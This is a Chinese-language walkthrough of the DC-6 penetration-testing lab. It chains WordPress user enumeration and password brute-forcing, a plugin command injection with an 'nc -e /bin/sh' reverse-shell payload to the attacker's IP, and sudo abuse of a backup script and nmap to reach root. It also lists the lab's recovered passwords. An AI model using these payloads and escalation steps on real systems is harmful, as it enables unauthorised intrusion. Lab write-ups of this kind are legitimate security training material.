DC-6
題目描述
DC-6 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
This isn't an overly difficult challenge so should be great for beginners.
The ultimate goal of this challenge is to get root and to read the one and only flag.
linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
NOTE: You WILL need to edit your hosts file on your pentesting device so that it reads something like:
192.168.0.142 wordy
Clue
OK, this isn't really a clue as such, but more of some "we don't want to spend five years waiting for a certain process to finish" kind of advice for those who just want to get on with the job.
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
描述中說(shuō)到和之前一樣只有一個(gè)Flag,并且需要配置一下HOSTS,且給了提示
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
知識(shí)點(diǎn)總結(jié)
? ①掃描
? ②使用wpscan工具枚舉用戶,結(jié)合提示生成字典進(jìn)行爆破密碼
? ③利用網(wǎng)站插件的命令執(zhí)行漏洞反彈shell
? ④根據(jù)每個(gè)用戶可以執(zhí)行的操作進(jìn)行提權(quán)
? ⑤nmap提權(quán)
1.掃描局域網(wǎng)主機(jī)
arp-scan -l

image
目標(biāo)IP為:192.168.2.132
2.掃描端口
nmap -sV -p- 192.168.2.132
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
可以看到開(kāi)放了ssh端口和web端口
3.配置hosts
題目描述已經(jīng)說(shuō)了,我們需要配置一下hosts文件
windows下在 C:windowssystem32driversetchosts
打開(kāi)后在末尾添加
192.168.2.132 wordy
Linux下在/etc/hosts
vim /etc/hosts
添加 192.168.2.132 wordy
4.訪問(wèn)web

image

image
是一個(gè)WordPress網(wǎng)站,kali有專門的掃描工具wpscan,我們可以使用工具掃描一下
在掃描之前先來(lái)掃一下目錄
5.使用dirsearch掃描目錄

image
發(fā)現(xiàn)的登錄地址
6.使用wpscan掃描用戶
wpscan --url http://wordy/ -e u

image
發(fā)現(xiàn)了這幾個(gè)用戶,我們將用戶保存到dc6-username.txt中
admin,mark,graham,sarah,jens

image
7.對(duì)用戶密碼進(jìn)行爆破
我們使用cewl來(lái)生成字典
cewl -w /root/dc6-passwd.txt http://wordy/
開(kāi)始爆破
wpscan --url http://wordy/ -U dc6-username.txt -P dc6-passwd.txt

image
但是這里顯示沒(méi)有找到密碼,于是我們想到剛開(kāi)始的時(shí)候提示有密碼
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
將rockyou.txt里面的帶有k01的面找出來(lái)
我們先查看一下rockyou.txt

image
這里確實(shí)有這個(gè)字典,將帶有k01的密碼導(dǎo)出來(lái)

image
然后進(jìn)行爆破
wpscan --url http://wordy/ -U dc6-username.txt -P dc6-passwd.txt

image
找到了mark的密碼為:helpdesk01
登錄后臺(tái)發(fā)現(xiàn)有一個(gè)插件

image
也可以通過(guò)wpscan掃描插件
wpscan --url http://wordy --plugins-detection aggressive

image
8.利用插件漏洞來(lái)getshell
首先百度查一下activity-monitor漏洞

image
可以看到有命令執(zhí)行漏洞
我們用kali的searchsploit來(lái)查找漏洞
searchsploit activity monitor

image
#將html文件復(fù)制到root目錄
cp /usr/share/exploitdb/exploits/php/webApps/45274.html 45274.html
#拷貝一份
cp 45274.html 45274.html.bak
#修改一下html內(nèi)容,將反彈ip改成kali的,提交申請(qǐng)改為目標(biāo)網(wǎng)站
vi 45274.html

image
然后直接打開(kāi)網(wǎng)頁(yè)提交,這里不知道為什么獲取不到shell,研究一下exp然后去網(wǎng)頁(yè)上自己實(shí)現(xiàn)
這里是在activity的插件頁(yè)面的tools分類里邊

image
填I(lǐng)P的地方有個(gè)命令執(zhí)行,我們測(cè)試一下

image
(這里因?yàn)樘領(lǐng)P的地方對(duì)長(zhǎng)度有限制所以前邊的127.0.0.1刪掉了一部分)

image
可以看到whoami的命令已經(jīng)被執(zhí)行,我們?cè)谶@里反彈一個(gè)shell,但是我們的shell長(zhǎng)度有點(diǎn)長(zhǎng),使用F12修改輸入的長(zhǎng)度

image
然后在kali上監(jiān)聽(tīng)
#kali
nc -lvp 1234
#發(fā)送payload
1|nc -e /bin/sh 192.168.2.135 1234
可以看到已經(jīng)獲取shell了

image
同樣,切換一下shell外殼
Python -c 'import pty;pty.spawn("/bin/bash")'

image
先看看這里都有什么文件,進(jìn)入到home目錄下當(dāng)前用戶的文件夾

image
發(fā)現(xiàn)一個(gè)txt

image
發(fā)現(xiàn)了graham的密碼
graham - GSo7isUM1D4
切換到這個(gè)用戶

image
先查看一下有沒(méi)有suid提權(quán) 發(fā)現(xiàn)沒(méi)有 再使用sudo -l看一下可以執(zhí)行的命令

image
可以使用jens用戶來(lái)執(zhí)行這個(gè).sh文件查看一下這個(gè)腳本是什么內(nèi)容

image
既然我們可以執(zhí)行這個(gè)腳本,我們把/bin/bash放入腳本里,以jens用戶執(zhí)行后 就相當(dāng)于獲取了jens的權(quán)限
echo "/bin/bash" >> backups.sh

image
已經(jīng)寫進(jìn)去了
然后以jens用戶執(zhí)行
sudo -u jens ./backups.sh

image
已經(jīng)切換到j(luò)ens用戶
再使用sudo -l 查看一下可以執(zhí)行的操作

image
可以使用nmap,由于nmap是可以執(zhí)行腳本的,我們把root的shell放入腳本里讓nmap執(zhí)行也就相當(dāng)于獲取了root的權(quán)限
#寫入shell
echo 'os.execute("/bin/sh")' > Shell
#name使用script執(zhí)行腳本
sudo nmap --script=shell

image
獲取root權(quán)限,查看flag
